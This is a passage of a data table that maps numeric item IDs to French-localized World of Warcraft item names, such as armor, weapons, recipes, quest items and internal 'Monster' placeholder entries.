cactus",[11584]="Surprise aux pommes de cactus",[11585]="Monster - Shield, Engineer A01",[11586]="Monster - Shield, Engineer B01",[11587]="Monster - Shield, Engineer C01",[11588]="Monster - Staff, Jeweled D01 Green",[11589]="Monster - Shield, Orange Skull",[11590]="Trousse de réparation mécanique",[11591]="Monster - Sword2H, Battlefield Destroyer",[11602]="Clé du Sinistre écluseur",[11603]="Tranchoir vicieux",[11604]="Harnois en sombrefer",[11605]="Epaulières en sombrefer",[11606]="Cotte de mailles en sombrefer",[11607]="Fendeuse en sombrefer",[11608]="Pulvériseur en sombrefer",[11610]="Plans : Pulvériseur en sombrefer",[11611]="Plans : Fendeuse en sombrefer",[11612]="Plans : Harnois en sombrefer",[11614]="Plans : Cotte de mailles en sombrefer",[11615]="Plans : Epaulières en sombrefer",[11617]="Fournitures d\'Eridan",[11622]="Arcanum inférieur de rumination",[11623]="Cape de l\'esprit follet",[11624]="Amict d\'illumination",[11625]="Sphère des Exaltés",[11626]="Cape du voile noir",[11627]="Grèves pied-léger",[11628]="Arc de maître-chien",[11629]="Carabine de maître-chien",[11630]="Balles de roche",[11631]="Bouclier de garde renforcée",[11632]="Epaulières du terril",[11633]="Carapace croc-d\'épeire",[11634]="Gants arachnéens",[11635]="Crochet perforeur",[11642]="Arcanum inférieur de constitution",[11643]="Arcanum inférieur de ténacité",[11644]="Arcanum inférieur de résilience",[11645]="Arcanum inférieur de voracité",[11646]="Arcanum inférieur de voracité",[11647]="Arcanum inférieur de voracité",[11648]="Arcanum inférieur de voracité",[11649]="Arcanum inférieur de voracité",[11662]="Echarpe de Ban\'thok",[11665]="Poings de l\'ogre prophète",[11668]="Flûte de Xavaric",[11669]="Anneau des grandes Arcanes",[11674]="Lien maudit jadefeu",[11675]="Bottes ténébreuses",[11677]="Cape de la tombe putride",[11678]="Carapace d\'Anub\'shiah",[11679]="Garde-bras rubiconds",[11682]="Fiole d\'Eridan",[11684]="Hostefer",[11685]="Epaulières de peau éclissée",[11686]="Ceinturon de furie bestiale",[11702]="Dépeceuse de Grison",[11703]="Ceinturon de la Muraille",[11722]="Spallières en drégénite",[11723]="Flamberge de Bonnacier",[11724]="Paquet en retard de livraison",[11725]="Patte cristalline solide",[11726]="Cotte d\'anneaux de gladiateur sauvage",[11727]="Livre de Bonnacier",[11728]="Jambières de gladiateur sauvage",[11729]="Heaume de gladiateur sauvage",[11730]="Poignes de gladiateur sauvage",[11731]="Grèves de gladiateur sauvage",[11732]="Libram de rumination",[11733]="Libram de constitution",[11734]="Libram de ténacité",[11735]="Couvre-œil du forcené",[11736]="Libram de résilience",[11737]="Libram de voracité",[11742]="Sac à dos de voyageur",[11743]="Poing de roc",[11744]="Poing de sang",[11745]="Poings de Phalange",[11746]="Heaume du crâne de golem",[11747]="Robe de marcheur des flammes",[11748]="Caducée pyrétique",[11749]="Jambières ardentes",[11750]="Bâton d\'embrasement",[11751]="Essence ardente",[11752]="Sang noir du Tourmenté",[11753]="Oeil de Kajal",[11754]="Diamant noir",[11755]="Torque de Verek",[11762]="Monster - Axe, Hatchet Gold",[11763]="Monster - Axe, Hatchet Red",[11764]="Brachiales en peau cendrée",[11765]="Garde-poignets en pyromailles",[11766]="Crispins de tisse-flammes",[11767]="Garde-bras en plaques de braise",[11768]="Brassards incendiques",[11782]="Mantelet boréal",[11783]="Ceinturon d\'acier glacé",[11784]="Lame de médiateur",[11785]="Rempart du golem de roche",[11786]="Pierre de la Terre",[11787]="Bottes de cosse-de-schiste",[11802]="Jambières de force volcanique",[11803]="Force du magma",[11804]="Gourde de Spraggle",[11805]="Marteau en rubidium",[11807]="Echarpe du cœur ardent",[11808]="Cercle de flammes",[11809]="Courroux des flammes",[11810]="Force de volonté",[11811]="Cœur fumant de la montagne",[11812]="Cape de la salamandre de feu",[11813]="Formule : Cœur fumant de la montagne",[11814]="Poings de la fournaise",[11815]="Main de justice",[11816]="Hache d\'armes de Forgehargne",[11817]="Epée du seigneur général",[11818]="Clé des toilettes de Crasseboue",[11819]="Second souffle",[11820]="Armure décorée royale",[11821]="Jambières d\'acrobate",[11822]="Bottes de concentration",[11823]="Kilt d\'illumination",[11824]="Bague cyclopéenne",[11825]="Bombinette",[11826]="Petit fumant",[11827]="Schéma : Petit fumant",[11828]="Schéma : Bombinette",[11829]="Cendres d\'Un\'Goro",[11830]="Ecaille étoilée de dimeurtrodon",[11831]="Ecaille étoilée de pterreurdactyle",[11832]="Bijou de connaissance",[11833]="Appât de reine gorishi",[11834]="Goudron ultra collant",[11835]="Cerveau de reine gorishi",[11837]="Glande odorante gorishi",[11839]="Monocle d\'architecte en chef",[11840]="Chemise de maître bâtisseur",[11841]="Culotte du grand concepteur",[11842]="Mantelet de géomètre en chef",[11843]="Reçu bancaire",[11844]="Rapport de Pilonzugg sur Un\'Goro",[11845]="Sac en cuir fait main",[11846]="Bière spéciale de Crackboum",[11847]="Cape endommagée",[11848]="Ceinture en lin",[11849]="Brassards rouillés",[11850]="Cape courte de chauve-souris de la pénombre",[11851]="Tunique de charognard",[11852]="Jambières du vagabond",[11853]="Bottes de randonnée",[11854]="Tournevis Samophlange",[11855]="Clé de Tork",[11856]="Lame de cérémonie elfique",[11857]="Perche moralisatrice",[11858]="Cape de briscard",[11859]="Orbe de jadelune",[11860]="Bâtonnet d\'éclair chargé",[11861]="Ceinturon de représailles",[11862]="Bague en os blanc",[11863]="Déchiqueteurs en os blanc",[11864]="Lance en os blanc",[11865]="Bottes de rancune",[11866]="Ceinture-fouet de Nagmara",[11867]="Gantelets exaspérants",[11868]="Bague d\'étouffement",[11869]="Anneau de Sha\'ni",[11870]="Orbe d\'oubli",[11871]="Spallières de Snarkshaw",[11872]="Grèves d\'Eschewal",[11873]="Cape des brumes éthérées",[11874]="Mantelet des nuages",[11875]="Brassards de la brise",[11876]="Tunique de Traqueur-des-plaines",[11882]="Jambières de voltigeur",[11883]="Une sacoche surprise",[11884]="Amict lunaires",[11885]="Torche ombreforge",[11886]="Message urgent",[11887]="Cache du Cercle cénarien",[11888]="Gants de recherche de Quintis",[11889]="Espauliers en écorce de fer",[11902]="Epée de légende de Linken",[11904]="Esprit d\'Aquementas",[11905]="Boomerang de Linken",[11906]="Pilonne-bêtes",[11907]="Tueuse-de-bête",[11908]="Bottes de fouilles d\'archéologue",[11909]="Ceinture d\'outils d\'excavateur",[11910]="Garde-jambes enchâssés",[11911]="Jambières de la cime des arbres",[11912]="Caisse de pots de Limon vides",[11913]="Heaume de Clayridge",[11914]="Pot de limon maudit vide",[11915]="Pare-crachin de Shizzle",[11916]="Culasse de Shizzle",[11917]="Chiffon à tuyère de Shizzle",[11918]="Gants de Grotslab",[11919]="Grèves de rocheplate",[11920]="Faux d\'âme en peine",[11921]="Géante impétueuse",[11922]="Lame gravée au sang",[11923]="Le Marteau de la grâce",[11924]="Robe de la couronne royale",[11925]="Voile fantomatique",[11926]="Cuirasse de dispensateur de mort",[11927]="Cuissards du gardien éternel",[11928]="Sceptre royal de Thaurissan",[11929]="Jambières du spectre frappeur",[11930]="La cape neuve de l\'empereur",[11931]="Revancharde forgeffroi",[11932]="Bâton-guide de sagesse",[11933]="Joyau impérial",[11934]="Sceau de l\'empereur",[11935]="Pierre de Magmus",[11936]="Ceinture de chasseur de reliques",[11937]="Gros sac de pièces",[11938]="Sac de gemmes",[11939]="Bracelet rutilant",[11940]="Collier étincelant",[11941]="Faux documents",[11942]="Documents légaux",[11943]="Titre de propriété du viaduc de Thandol",[11944]="Petit butin sombrefer",[11945]="Anneau en sombrefer",[11946]="Collier d\'opales de feu",[11947]="Pot de Limon maudit rempli",[11948]="Pot de Limon corrompu vide",[11949]="Pot de Limon corrompu rempli",[11950]="Baies de fleur-de-vent",[11951]="Tubercule de navetille",[11952]="Souffle de dragon nocturne",[11953]="Pot d\'échantillon pur vide",[11954]="Pot d\'échantillon pur plein",[11955]="Sacoche de pots à Limon vides",[11962]="Bracelets de prisonnier",[11963]="Spallières de pénitence",[11964]="Casse-tête de frappe rapide",[11965]="Anneau de quartz",[11966]="Petit sac de pièces",[11967]="Bague de zircon",[11968]="Anneau en ambre",[11969]="Anneau de jacinthe",[11970]="Anneau de spinelle",[11971]="Bague d\'améthyste",[11972]="Jonc de cornaline",[11973]="Anneau d\'hématite",[11974]="Anneau d\'aigue-marine",[11975]="Anneau de topaze",[11976]="Anneau de sardonyx",[11977]="Jonc serpentin",[11978]="Maillon de jaspe",[11979]="Cercle d\'olivines",[11980]="Anneau d\'opale",[11981]="Bague en plomb",[11982]="Bague viridienne",[11983]="Anneau chromé",[11984]="Anneau en cobalt",[11985]="Anneau céruléen",[11986]="Anneau de thallium",[11987]="Anneau d\'iridium",[11988]="Bague de tellure",[11989]="Jonc en vanadium",[11990]="Jonc en sélénium",[11991]="Anneau de vif-argent",[11992]="Bague vermeille",[11993]="Anneau de terre",[11994]="Bague de corail",[11995]="Bague en ivoire",[11996]="Anneau basaltique",[11997]="Anneau de pierre verte",[11998]="Jonc fusant",[11999]="Anneau de magnétite",[12000]="Fendoir à membres",[12001]="Anneau en onyx",[12002]="Anneau marbré",[12003]="Bière brune naine",[12004]="Bague en obsidienne",[12005]="Anneau granitique",[12006]="Anneau des steppes",[12007]="Anneau des clairières",[12008]="Anneau des savanes",[12009]="Anneau de la toundra",[12010]="Anneau de la fange",[12011]="Anneau des forêts",[12012]="Anneau des marais",[12013]="Anneau du désert",[12014]="Anneau arctique",[12015]="Anneau lacustre",[12016]="Anneau de la jungle",[12017]="Bague prismatique",[12018]="Heaume de conservateur",[12019]="Talisman céruléen",[12020]="Pendentif de thallium",[12021]="Solerets renforcés",[12022]="Collier d\'iridium",[12023]="Collier de tellure",[12024]="Talisman de vanadium",[12025]="Collier de sélénium",[12026]="Pendentif de vif-argent",[12027]="Collier vermeil",[12028]="Collier basaltique",[12029]="Talisman de pierre verte",[12030]="Collier fusant",[12031]="Collier de magnétite",[12032]="Sautoir d\'onyx",[12033]="Bijoux de la famille Thaurissan",[12034]="Collier marbré",[12035]="Pendentif en obsidienne",[12036]="Collier granitique",[12037]="Viande mystère",[12038]="Sceau de Lagrave",[12039]="Collier de la toundra",[12040]="Pendentif forestier",[12041]="Jambières des Cisailles",[12042]="Collier des marais",[12043]="Sautoir du désert",[12044]="Pendentif arctique",[12045]="Pendentif lacustre",[12046]="Collier de la jungle",[12047]="Collier spectral",[12048]="Pendentif prismatique",[12049]="Armure d\'acier éclissé",[12050]="Bottes de la brume",[12051]="Gantelets en airain",[12052]="Anneau de la lune",[12053]="Anneau de pierre volcanique",[12054]="Bague de démon",[12055]="Bague de poussière d\'étoile",[12056]="Anneau céleste",[12057]="Bague écaille-de-dragon",[12058]="Anneau d\'os démoniaque",[12059]="Médaillon de conquérant",[12060]="Note de Shindrell",[12061]="Lame de rétorsion",[12062]="Lame de combat habile",[12063]="Monster - Trident, Wicked",[12064]="Chaperon de maître de jeu",[12065]="Gardien des éléments",[12066]="Cape peau-de-schiste",[12082]="Spallières en peau de wyrm",[12083]="Echarpe valconienne",[12102]="Anneau aristocratique",[12103]="Etoile de Mystaria",[12108]="Broigne basaltique",[12109]="Amict de lune azur",[12110]="Drapé de pluviomancien",[12111]="Gantelets volcaniques",[12112]="Brassards de démon des cryptes",[12113]="Cape de l\'hélionaute",[12114]="Gants tombe-nuit",[12115]="Etreinte infrangible",[12122]="Camelote de Kum\'isha",[12142]="Monster - Sword, Thick/Fat Blade",[12144]="Oeufilloscope",[12162]="Plans : Epée courte en fer trempé",[12163]="Plans : Epée large en acier lunaire",[12164]="Plans : Hache massive en fer",[12182]="Monster - Staff of Jordan",[12183]="Monster - Mace, Thrall\'s Hammer",[12184]="Chair de raptor",[12185]="Bicorne d\'amiral de la Voile sanglante",[12190]="Potion de sommeil sans rêve",[12191]="Coffret de l\'Aube argentée",[12192]="Coffret du Voile de brume",[12202]="Viande de tigre",[12203]="Viande de loup rouge",[12204]="Viande de kodo épaisse",[12205]="Viande d\'araignée blanche",[12206]="Viande de crabe tendre",[12207]="Oeuf géant",[12208]="Viande de loup tendre",[12209]="Steak de loup",[12210]="Rôti de raptor",[12212]="Ragoût de la jungle",[12213]="Tourte surprise",[12214]="Ragoût mystère",[12215]="Ragoût épais de kodo",[12216]="Chili de crabe épicé",[12217]="Chili de souffle de dragon",[12218]="Omelette monstrueuse",[12219]="Sceau d\'ascension non décoré",[12220]="Bracelets élémentaires intacts",[12223]="Aile de chauve-souris charnue",[12224]="Aile de chauve-souris croustillante",[12225]="Canne à pêche de la famille Blump",[12226]="Recette : Aile de chauve-souris croustillante",[12227]="Recette : Steak de loup",[12228]="Recette : Rôti de raptor",[12229]="Recette : Côtes de loup épicées",[12230]="Echantillon de gelée de Gangrebois",[12231]="Recette : Ragoût de la jungle",[12232]="Recette : Tourte surprise",[12233]="Recette : Ragoût mystère",[12234]="Echantillon corrompu de Gangrebois",[12235]="Echantillon de gelée d\'Un\'Goro",[12236]="Echantillon pur d\'Un\'Goro",[12237]="Chair de crabe raffinée",[12238]="Mérou de Sombrivage",[12239]="Recette : Chili de souffle de dragon",[12240]="Recette : Ragoût épais de kodo",[12241]="Oeuf de dragon collecté",[12242]="Os de créature marine",[12243]="Griffe fumante",[12247]="Couteau à lame large",[12248]="Miséricorde audacieuse",[12249]="Hache impitoyable",[12250]="Hache de minuit",[12251]="Grande trique",[12252]="Bâton de protection",[12253]="Cape rouge brillante",[12254]="Cape bien huilée",[12255]="Jambières pâles",[12256]="Jambières en étoffe cendrée",[12257]="Ceinture lourde abîmée",[12259]="Dague en acier luisant",[12260]="Lame dorée incendiaire",[12261]="Plans : Lame dorée incendiaire",[12262]="Cage de jeune worg vide",[12263]="Jeune worg en cage",[12264]="Caisse de worg",[12282]="Hache d\'armes usée",[12283]="Essence de rejeton",[12284]="Draco-Incarcinatrix 900",[12285]="Monster - Axe, 2H Rev. Bearded Single Bladed - Red",[12286]="Prototype d\'Oeufilloscope",[12287]="Module collectronique",[12288]="Limon corrompu en boîte",[12289]="Restes de tortue de mer",[12290]="Monster - Axe, Horde Badass Copper 01",[12291]="Echantillon de gelée mélangé",[12292]="Boîte aux marques étranges",[12293]="Fil d\'or fin",[12294]="Monster - Axe, 2H Horde Green War Axe",[12295]="Jambières de la milice du peuple",[12296]="Cierge de la milice du peuple",[12297]="Monster - Sword, Horde Jagged Brown",[12298]="Monster - Dagger, Dark Pronged",[12299]="Gants toilés",[12300]="Orbe d\'énergie draconique",[12301]="Clé de la cage en bambou",[12302]="Rênes d\'ancien sabre-de-givre",[12303]="Rênes de sabre-de-nuit",[12304]="Monster - Sword, Horde Broad Pointed",[12322]="Monster - Staff, Green Feathered",[12323]="Sceau d\'ascension brut",[12324]="Sceau d\'ascension forgé",[12325]="Rênes de léopard primal",[12326]="Rênes de tigre à dents de sabre fauve",[12327]="Rênes de tigre à dents de sabre doré",[12328]="Monster - Staff, 3 Piece Taped Staff Green",[12329]="Monster - Staff, Crooked Green",[12330]="Cor du loup rouge",[12331]="Monster - Sword2H, Horde Massive Green",[12332]="Monster - Dagger, Green Pronged",[12334]="Eclats cognegivre",[12335]="Gemme de Brûleronce",[12336]="Gemme de Pierre-du-pic",[12337]="Gemme de Hache-sanglante",[12338]="Monster - Polearm, Rend Blackhand",[12339]="Cadeau de Vaelan",[12341]="Echantillon de fruit des Noirbois",[12342]="Echantillon de céréales des Noirbois",[12343]="Echantillon de noix des Noirbois",[12344]="Sceau d\'ascension",[12345]="Affaires de Bijou",[12346]="Bol de purification vide",[12347]="Bol de purification rempli",[12348]="Monster - Axe, Horde Badass Copper 01 (Special1H)",[12349]="Prélèvement de la Bondissante",[12350]="Tube de prélèvement vide",[12351]="Cor du loup arctique",[12352]="Fermoir de Frèteruine",[12353]="Bride d\'étalon blanc",[12354]="Bride de palomino",[12355]="Talisman de corruption",[12356]="Oeuf de wyverne de Haut-Perchoir",[12358]="Tablette de Sombrepierre",[12359]="Barre de thorium",[12360]="Barre d\'arcanite",[12361]="Saphir bleu",[12363]="Cristal arcanique",[12364]="Enorme émeraude",[12365]="Pierre dense",[12366]="Fourrure épaisse de yéti",[12367]="Corne de yéti en parfait état",[12368]="Gambit d\'Alexi",[12382]="Clé de la ville",[12383]="Plume de chouettard lunaire",[12384]="Cache de Mau\'ari",[12400]="Martelet du juge",[12402]="Oeuf antique",[12403]="Monster - Polearm, Black",[12404]="Pierre à aiguiser dense",[12405]="Armure en thorium",[12406]="Ceinture en thorium",[12408]="Brassards en thorium",[12409]="Bottes en thorium",[12410]="Heaume en thorium",[12411]="Troisième tablette Mosh\'aru",[12412]="Quatrième Tablette Mosh\'aru",[12414]="Jambières en thorium",[12415]="Cuirasse radieuse",[12416]="Ceinture radieuse",[12417]="Diadème radieux",[12418]="Gantelets radieux",[12419]="Bottes radieuses",[12420]="Jambières radieuses",[12421]="Monster - Staff, White Jeweled",[12422]="Pansière impériale",[12424]="Ceinture impériale en plaques",[12425]="Brassards impériaux en plaques",[12426]="Bottes impériales en plaques",[12427]="Heaume impérial en plaques",[12428]="Epaulières impériales en plaques",[12429]="Jambières impériales en plaques",[12430]="E\'ko de sabre-de-givre",[12431]="E\'ko tombe-hiver",[12432]="E\'ko de Croc acéré",[12433]="E\'ko d\'Indomptable",[12434]="E\'ko de Noroît",[12435]="E\'ko de Chardon de glace",[12436]="E\'ko de Cognegivre",[12437]="Caisse de Bellornière",[12438]="Lettre de Brikolette",[12444]="Corne intacte de Noroît",[12445]="Paquet de Felnok",[12446]="Mousquet de Courbenclume",[12447]="Arc du bois-chardon",[12448]="Carabine de chasse légère",[12449]="Arc primitif",[12450]="Rafale de Juju",[12451]="Pouvoir de Juju",[12452]="Monster - Shield, Horde A02 Steel",[12453]="Monster - Shield, Horde A03 Triangle",[12454]="Monster - Shield, Horde B01 Brown",[12455]="Braise de Juju",[12456]="Monster - Shield, Horde B02 Brown",[12457]="Frisson de Juju",[12458]="Fourberie de Juju",[12459]="Fuite de Juju",[12460]="Puissance de Juju",[12461]="Monster - Axe, 2H Horde Brown Tombstone",[12462]="Etreinte du serpent des vents",[12463]="Bouchère drakecroc",[12464]="Serres du sang igné",[12465]="Drapé tombe-nuit",[12466]="Corde Cime-de-l\'aube",[12467]="Oeuf étrange",[12470]="Guêtres de traqueuse des sables",[12471]="Canne du marcheur du désert",[12472]="Thermomètre de Krakle",[12482]="Monster - Glaive - Demonhunter Black",[12502]="Monster - Glaive - Demonhunter Black Offhand",[12522]="Gants de vol de Bingles",[12523]="Monster - Gun, Silver Musket",[12524]="Amulette de la plume bleue",[12525]="Fournitures de Jaron",[12527]="Fend-les-côtes",[12528]="Martelet du juge",[12529]="Caisse de Couveuse",[12530]="Oeuf d\'araignée du pic",[12531]="Aiguille flamboyante",[12532]="Cime du sculpte-pierre",[12533]="Pique de fortune",[12534]="Tête d\'Omokk",[12535]="Droit-fil de Forge-ruine",[12542]="Habit du bûcher funéraire",[12543]="Pierre chantante de Forgefer",[12544]="Résolution de Thrall",[12545]="Oeil d\'Orgrimmar",[12546]="Crispins aristocratiques",[12547]="Poigne de Mar Alom",[12548]="Volonté de Magni",[12549]="Tuméfiante",[12550]="Menottes de golem runiques",[12551]="Cape du bouclier de pierre",[12552]="Houppelande coupe-braise",[12553]="Bottes du marcheur vif",[12554]="Gants du héraut exalté",[12555]="Grèves du chasseur de guerre",[12556]="Bottes de la grande prêtresse",[12557]="Spallières d\'acier ébène",[12558]="Collier de plumes bleues",[12562]="Importants documents Rochenoire",[12563]="Ordres du seigneur de guerre Sangredent",[12564]="Engagement d\'assassin",[12565]="Panier à chaton de Winna",[12566]="Flacon renforcé",[12567]="Flacon rempli",[12582]="Keris de Zul\'Serak",[12583]="Dolescie de Main-noire",[12584]="Epée longue de connétable",[12586]="Glande à venin immature",[12587]="Oeil de Rend",[12588]="Epaulières de pics d\'os",[12589]="Echarpe de Pennepoussière",[12590]="Frappeur gangrené",[12591]="Monster - Staff, Holy Staff",[12592]="Lame noire de Shahram",[12593]="Monster - Sword, Horde Sword Bronze",[12602]="Déflecteur draconien",[12603]="Tunique de l\'étreinte nocturne",[12604]="Tiare de feu stellaire",[12605]="Ecrâneuse serpentine",[12606]="Ceinturon cristallisé",[12607]="Ecaille chromatique brillante",[12608]="Tablier de boucher",[12609]="Echarpe de vision polychromatique",[12610]="Epaulières runiques en plaques",[12611]="Bottes runiques en plaques",[12612]="Heaume runique en plaques",[12613]="Cuirasse runique",[12614]="Jambières runiques en plaques",[12618]="Cuirasse en thorium enchanté",[12619]="Jambières en thorium enchanté",[12620]="Heaume en thorium enchanté",[12621]="Fourche démoniaque",[12622]="Viande de Croc acéré",[12623]="Viande du Noroît",[12624]="Cotte de mailles Ronce-sauvage",[12625]="Epaulières du point du jour",[12626]="Crispins funéraires",[12627]="Déplaceur temporel",[12628]="Cuirasse démoniaque",[12629]="Monster - Axe, Horde Hatchet 01",[12630]="Tête de Rend Main-noire",[12631]="Gantelets en plaques de feu",[12632]="Gantelets tempêtes",[12633]="Heaume d\'âme blanche",[12634]="Ceinturon de ciseleur",[12635]="Parchemin simple",[12636]="Heaume du grand chef",[12637]="Gantelets de Backusarian",[12638]="Montre d\'Andorhal",[12639]="Gantelets de la forteresse",[12640]="Heaume Cœur-de-lion",[12641]="Cotte de mailles invulnérable",[12642]="Orbe infernal purifié",[12643]="Pierre de lest dense",[12644]="Silex à aiguiser dense",[12645]="Pointe de bouclier en thorium",[12646]="Emeraude d\'Infus",[12647]="Rubis de Felhas",[12648]="Esprit de gangrechien emprisonné",[12649]="Esprit infernal emprisonné",[12650]="Atténuateur en phase",[12651]="Corbeau noir",[12652]="Rapport de reconnaissance de Bijou",[12653]="Crochet éventreur",[12654]="Tir maudit",[12655]="Barre de thorium enchanté",[12662]="Rune démoniaque",[12663]="Branche de chêne glyphée",[12682]="Plans : Armure en thorium",[12683]="Plans : Ceinture en thorium",[12684]="Plans : Brassards en thorium",[12685]="Plans : Ceinture radieuse",[12687]="Plans : Epaulières impériales en plaques",[12688]="Plans : Ceinture impériale en plaques",[12689]="Plans : Cuirasse radieuse",[12690]="Plans : Brassards impériaux en plaques",[12691]="Plans : Cotte de mailles Ronce-sauvage",[12692]="Plans : Pointe de bouclier en thorium",[12693]="Plans : Bottes en thorium",[12694]="Plans : Heaume en thorium",[12695]="Plans : Gantelets radieux",[12696]="Plans : Cuirasse démoniaque",[12697]="Plans : Bottes radieuses",[12698]="Plans : Epaulières du point du jour",[12699]="Plans : Gantelets en plaques de feu",[12700]="Plans : Bottes impériales en plaques",[12701]="Plans : Heaume impérial en plaques",[12702]="Plans : Diadème radieux",[12703]="Plans : Gantelets tempêtes",[12704]="Plans : Jambières en thorium",[12705]="Plans : Pansière impériale",[12706]="Plans : Epaulières runiques en plaques",[12707]="Plans : Bottes runiques en plaques",[12708]="Caisse de ravitaillement de la Croisée",[12709]="Dépeceuse de Finkle",[12710]="Morceau de chair de la Bête luminescent",[12711]="Plans : Heaume d\'âme blanche",[12712]="Mojo de Warosh",[12713]="Plans : Jambières radieuses",[12714]="Plans : Heaume runique en plaques",[12715]="Plans : Jambières impériales en plaques",[12716]="Plans : Heaume du grand chef",[12717]="Plans : Heaume Cœur-de-lion",[12718]="Plans : Cuirasse runique",[12719]="Plans : Jambières runiques en plaques",[12720]="Plans : Gantelets de la forteresse",[12721]="Demi-charme porte-bonheur",[12722]="Autre demi-charme porte-bonheur",[12723]="Charme porte-bonheur",[12724]="Colis de Janice",[12725]="Plans : Heaume en thorium enchanté",[12726]="Plans : Jambières en thorium enchanté",[12727]="Plans : Cuirasse en thorium enchanté",[12728]="Plans : Cotte de mailles invulnérable",[12730]="Parchemin de Warosh",[12731]="Peau de la Bête en parfait état",[12732]="Agave d\'incendia",[12733]="Viande de sabre-de-givre sacrée",[12734]="Fil écarlate enchanté",[12735]="Couture d\'Abomination effilochée",[12736]="Fluide d\'embaumement de Murmegivre",[12737]="Herbe des ténèbres",[12738]="Clé des toilettes de Dalson",[12739]="Clé du cabinet de Dalson",[12740]="Cinquième tablette Mosh\'aru",[12741]="Sixième tablette Mosh\'aru",[12742]="Monster - Item, Book - Brown",[12743]="Monster - Item, Book - Brown Offhand",[12744]="Monster - Item, Bag - Brown",[12745]="Monster - Item, Bag - Brown Offhand",[12746]="Monster - Item, Orb - Lava",[12747]="Monster - Item, Orb - Lava Offhand",[12748]="Monster - Item, Scepter - Gold",[12749]="Monster - Item, Scepter - Gold Offhand",[12750]="Monster - Item, Book - Black Skull Glowing",[12751]="Monster - Item, Book - Blue",[12752]="Coiffe du savant écarlate",[12753]="Peau des ombres",[12754]="Monster - Axe, 2H War Green - Mulgore Protector",[12755]="Monster - Sword2H, Blackblade of Shahram",[12756]="Jambières d\'Arcana",[12757]="Cuirasse carnassière",[12765]="Note secrète n°1",[12766]="Note secrète n°2",[12768]="Note secrète n°3",[12770]="Renseignements de Bijou",[12771]="Flacon d\'eau-de-feu vide",[12772]="Marteau damasquiné en thorium",[12773]="Hache courte ornée en thorium",[12774]="Tranchant de l\'aube",[12775]="Hache d\'armes énorme en thorium",[12776]="Marteau d\'armes enchanté",[12777]="Rapière flamboyante",[12780]="Ordres du général Drakkisath",[12781]="Sérénité",[12782]="Corruption",[12783]="Crève-cœur",[12784]="Faucheuse en arcanite",[12785]="Poudre d\'incendia",[12786]="Monster - Mace, Horde Skull Club",[12787]="Monster - Mace, Horde Bone Claw Hammer",[12788]="Monster - Mace, Horde Bone Spike Hammer",[12790]="Championne en arcanite",[12791]="Tesson de tavernier",[12792]="Marteau volcanique",[12793]="Tunique de mixologue",[12794]="Marteau-tempête ouvragé",[12796]="Marteau des titans",[12797]="Garde de givre",[12798]="Annihilateur",[12799]="Grande opale",[12800]="Diamant d\'Azeroth",[12801]="Monster - Item, Bucket - Wood",[12803]="Essence de vie",[12804]="Mojo puissant",[12806]="Cuirasse couverte de runes inachevée",[12807]="Bannière du Fléau",[12808]="Essence de non-mort",[12809]="Pierre du gardien",[12810]="Cuir enchanté",[12811]="Orbe de piété",[12812]="Gantelets en plaques inachevés",[12813]="Flacon de gelée mystère",[12814]="Flammes en bouteille",[12815]="Torche-balise",[12819]="Plans : Hache courte ornée en thorium",[12820]="Eau-de-feu des Tombe-hiver",[12821]="Plans : Tranchant de l\'aube",[12822]="Gouttelette d\'horreur toxique",[12823]="Plans : Hache d\'armes énorme en thorium",[12824]="Plans : Marteau d\'armes enchanté",[12825]="Plans : Rapière flamboyante",[12827]="Plans : Sérénité",[12828]="Plans : Marteau volcanique",[12829]="Caisse tombe-hiver",[12830]="Plans : Corruption",[12833]="Plans : Marteau des titans",[12834]="Plans : Championne en arcanite",[12835]="Plans : Annihilateur",[12836]="Plans : Garde de givre",[12837]="Plans : Marteau-tempête ouvragé",[12838]="Plans : Faucheuse en arcanite",[12839]="Plans : Crève-cœur",[12840]="Pierre du Fléau des serviteurs",[12841]="Pierre du Fléau des envahisseurs",[12842]="Journal mal écrit",[12843]="Pierre du Fléau de corrupteur",[12844]="Marque de valeur de l\'Aube d\'argent",[12845]="Médaillon de foi",[12846]="Brevet de l\'Aube d\'argent",[12847]="Pique tachée d\'âme",[12848]="Pique tachée de sang",[12849]="Sac embrassé par un démon",[12850]="Monster - Item, Bag - Black",[12851]="Monster - Item, Bag - Black Offhand",[12852]="Monster - Item, Bag - Gray",[12854]="Monster - Item, Bag - Green",[12855]="Monster - Item, Bag - Green Offhand",[12856]="Monster - Item, Bag - Red",[12857]="Monster - Item, Bag - Red Offhand",[12858]="Monster - Item, Bag - White",[12859]="Monster - Item, Bag - White Offhand",[12860]="Monster - Item, Book - Blue Offhand",[12861]="Monster - Item, Book - Black Skull Glowing Offhand",[12862]="Monster - Item, Book - Black Simple",[12863]="Monster - Item, Book - Black Simple Offhand",[12864]="Monster - Item, Book - B01 Black Glowing",[12865]="Monster - Item, Book - B01 Black Glowing Offhand",[12866]="Monster - Item, Book - B02 Black Glowing",[12867]="Monster - Item, Book - B02 Black Glowing Offhand",[12868]="Monster - Item, Book - B02 Blue Glowing",[12869]="Monster - Item, Book - B02 Blue Glowing Offhand",[12870]="Monster - Item, Potion Red Offhand",[12871]="Carapace chromatique",[12882]="Monster - Sword2H, Horde Curved Silver",[12883]="Monster - Mace, Thaurissan Silver",[12884]="Sabot d\'Arnak",[12885]="Poupée de Pamela",[12886]="Tête de la poupée de Pamela",[12887]="Flanc gauche de la poupée de Pamela",[12888]="Flanc droit de la poupée de Pamela",[12889]="Monster - Sword2H, Horde Curved Black",[12890]="Monster - Sword, Militia Long Sword",[12891]="Pioche de Jaron",[12892]="Monster - Sword1H, Dark Short Sword",[12893]="Monster - Shield, Black Skull",[12894]="Alliance de Joseph",[12895]="Cuirasse du vol chromatique",[12896]="Fragment de la première relique",[12897]="Fragment de la deuxième relique",[12898]="Fragment de la troisième relique",[12899]="Fragment de la quatrième relique",[12900]="Annales de Comté-de-Darrow",[12901]="Monster - Mace2H, Golden Stone Hammer",[12902]="Monster - Sword2H, Luminous Evil Blade",[12903]="Garde-jambes du duelliste chromatique",[12905]="Cape du feu de brousse",[12906]="Eau de puits de lune purifiée",[12907]="Eau de Puits de lune corrompue",[12922]="Gourde vide",[12923]="Ecaille d\'Awbee",[12924]="Bougie de rituel",[12925]="Peau de serpent d\'Arikara",[12926]="Bague enflammée",[12927]="Epaulières de juste frappe",[12928]="Yéti mécanique d\'Umi",[12929]="Talisman braise-furie",[12930]="Pipeau de bruyère",[12932]="Monster - Shield, Scarlet Crusade A02",[12933]="Monster - Shield, Scarlet Crusade B03",[12934]="Monster - Mace, Maul B03 Red",[12935]="Garde-jambes de chef de guerre",[12936]="Brassières du champ d\'honneur",[12937]="Monster - Staff, Basic Red",[12938]="Sang des héros",[12939]="Gardienne tribale de 